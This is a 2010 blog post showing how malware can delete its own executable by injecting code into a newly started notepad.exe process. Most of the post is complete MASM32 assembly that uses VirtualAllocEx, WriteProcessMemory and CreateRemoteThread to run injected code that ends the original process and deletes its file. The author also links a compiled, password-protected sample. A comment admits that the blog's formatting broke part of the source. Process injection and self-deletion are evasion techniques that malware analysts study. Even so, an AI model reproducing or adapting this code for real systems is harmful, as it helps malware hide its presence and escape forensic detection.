Wednesday, May 12, 2010

Self Deleting Executable

Files in general when executed gets locked by the OS. So it is not possible for the EXE to be deleted when that particular EXE is running running on the machine as a process. Taking that into account malware uses various techniques to remove themselves from the machine when their task is completed. For example there might be malwares that are downloaders which would delete themselves after installing additional malwares from elsewhere.

But how could an EXE delete itself?
batch file method
wininit.ini method
MoveFileEx method
Registry method

CreateRemoteThread method


There might well be a bunch of other methods that are available which I'm currently not aware of. May be googling will bring in lot of results. This post will use the CreateRemoteThread API to run the already injected code into the remote process which terminates the running process and deletes itself. For the purpose of demonstration this code when run will create a notepad.exe process, injects itself into the process space of notepad.exe and terminates and deletes the executed file. We may still be able to inject the code into EXPLORER.EXE and run it from there. But that's a different story.

The code is one that is similar to what you find in here. I've modified it to serve the purpose. Credits to author shapeless (www.swerat.com)


.386

.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib

;Structure that is injected into the remote process
;contains the modules to be loaded and the function names
DYN STRUCT
loadlibaddr dd ?
getprocaddr dd ?
lpuser32 db 20 DUP (?)
lpkernel32 db 20 DUP (?)
lpmsgbox db 20 DUP (?)
lpOpenProc db 20 DUP (?)
lpFileName db 50 DUP (?)
lpTerminateProcess db 20 DUP (?)
lpDeleteFile db 20 DUP (?)
processid dd ?
temp dd ?
kernel32addr dd ?
DYN ENDS

.data
lpApplication db "notepad.exe", 0
lpuser32_dll db "user32.dll", 0
lpkernel32_dll db "kernel32.dll", 0
lpmsgbox_func db "MessageBoxA", 0
lploadlib_func db "LoadLibraryA", 0
lpgetproc_func db "GetProcAddress", 0
lpterminate_func db "TerminateProcess", 0
lpdeletefile_func db "DeleteFileA", 0
lpopenproc_func db "OpenProcess", 0
_DYN DYN

.data?
hWnd dd ?
hWnd_kernel32 dd ?
hWnd_loadlib dd ?
hWnd_getproc dd ?
hWnd_msgbox dd ?
hMemory dd ?
hMemory_struc dd ?
hWnd_Id dd ?
hWnd_current dd ?

lpFileName db 50 DUP(?)

cb_size dd ?
lpflOldProtect dd ?
lpBytesWritten dd ?
lpThreadId dd ?

_STARTUPINFO STARTUPINFO
_PROCESS_INFORMATION PROCESS_INFORMATION

.code
start:

jmp _start

_Begin:

;Code that is to be injected into the remote process
TANG PROC uses esi __DYN:DWORD
mov esi, __DYN
assume esi:PTR DYN

;kernel32 addr in [esi].kernel32addr
lea edi, [esi].lpkernel32
push edi
call [esi].loadlibaddr
mov [esi].kernel32addr, eax

;GetProcAddress(OpenProcess)
lea edi, [esi].lpOpenProc
push edi
push eax
call [esi].getprocaddr

;Get the handle of the process (OpenProcess)
push [esi].processid
push FALSE
push PROCESS_ALL_ACCESS
call eax

;Save the handle to the process that is to be terminated
mov [esi].temp, eax

;GetProcAddress(TerminateProcess)
lea edi, [esi].lpTerminateProcess
push edi
push [esi].kernel32addr
call [esi].getprocaddr

;TerminateProcess
push 0
push [esi].temp
call eax

;GetProcAddress(DeleteFile)
lea edi, [esi].lpDeleteFile
push edi
push [esi].kernel32addr
call [esi].getprocaddr

;DeleteFile
lea edi, [esi].lpFileName
push edi
call eax

ret

TANG ENDP

_Ends:

_start:

mov esi, OFFSET _Ends
mov edi, OFFSET _Begin
sub esi, edi
mov cb_size, esi

;Get the filename of our process that is to be deleted
invoke GetModuleFileName, NULL, ADDR lpFileName, SIZEOF lpFileName

;Get the handle to the process
invoke GetCurrentProcess

;Get the process id of our process
invoke GetProcessId, eax
mov hWnd_Id, eax

;Copy all the required modules and function names which are required to
;the remote process
invoke lstrcpy, ADDR _DYN.lpuser32, ADDR lpuser32_dll
invoke lstrcpy, ADDR _DYN.lpkernel32, ADDR lpkernel32_dll
invoke lstrcpy, ADDR _DYN.lpmsgbox, ADDR lpmsgbox_func
invoke lstrcpy, ADDR _DYN.lpFileName, ADDR lpFileName
invoke lstrcpy, ADDR _DYN.lpTerminateProcess, ADDR lpterminate_func
invoke lstrcpy, ADDR _DYN.lpDeleteFile, ADDR lpdeletefile_func
invoke lstrcpy, ADDR _DYN.lpOpenProc, ADDR lpopenproc_func

;Copy the process id of our process too
push hWnd_Id
pop _DYN.processid

invoke GetModuleHandle, ADDR lpkernel32_dll
mov hWnd_kernel32, eax

invoke GetProcAddress, hWnd_kernel32, ADDR lploadlib_func
mov hWnd_loadlib, eax

invoke GetProcAddress, hWnd_kernel32, ADDR lpgetproc_func
mov hWnd_getproc, eax

;Pass the addresses of loadlibrary and getprocaddress
push hWnd_getproc
pop _DYN.getprocaddr
push hWnd_loadlib
pop _DYN.loadlibaddr

push SIZEOF STARTUPINFO
pop _STARTUPINFO.cb

;Create the notepad.exe process into which we inject our code
invoke CreateProcess, NULL, ADDR lpApplication, NULL, NULL, FALSE, NULL, NULL, NULL, ADDR _STARTUPINFO, ADDR _PROCESS_INFORMATION
push _PROCESS_INFORMATION.hProcess
pop hWnd

;Allocate memory in the remote process - notepad.exe
invoke VirtualAllocEx, hWnd, NULL, cb_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov hMemory, eax

;Make the memory space to be read, written and executed
invoke VirtualProtectEx, hWnd, hMemory, cb_size, PAGE_EXECUTE_READWRITE, ADDR lpflOldProtect

;Write the code to the allocated memory
invoke WriteProcessMemory, hWnd, hMemory, OFFSET TANG, cb_size, ADDR lpBytesWritten

;The same process is repeated for the structure _DYN as well
invoke VirtualAllocEx, hWnd, NULL, SIZEOF _DYN, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov hMemory_struc, eax

invoke VirtualProtectEx, hWnd, hMemory_struc, SIZEOF _DYN, PAGE_EXECUTE_READWRITE, ADDR lpflOldProtect

invoke WriteProcessMemory, hWnd, hMemory_struc, OFFSET _DYN, SIZEOF _DYN, ADDR lpBytesWritten

;Execute the injected code using CreateRemoteThread function
invoke CreateRemoteThread, hWnd, NULL, NULL, hMemory, hMemory_struc, NULL, ADDR lpThreadId

invoke ExitProcess,0
end start


The code itself is heavily commented so am deferring from explaining what it does. Am attaching a compiled EXE that could be used for testing purpose. You can download the same here. It is password protected, password is the same that you use for zipping samples the virscan site.

See you all in another post - binaryhax0r.

1 comment:

  1. Well, there are some problems in the way blogspot interprets the '' text that initializes the structure. When you assemble the source initialize the structure manually :) Sorry for the inconvenience.

    ReplyDelete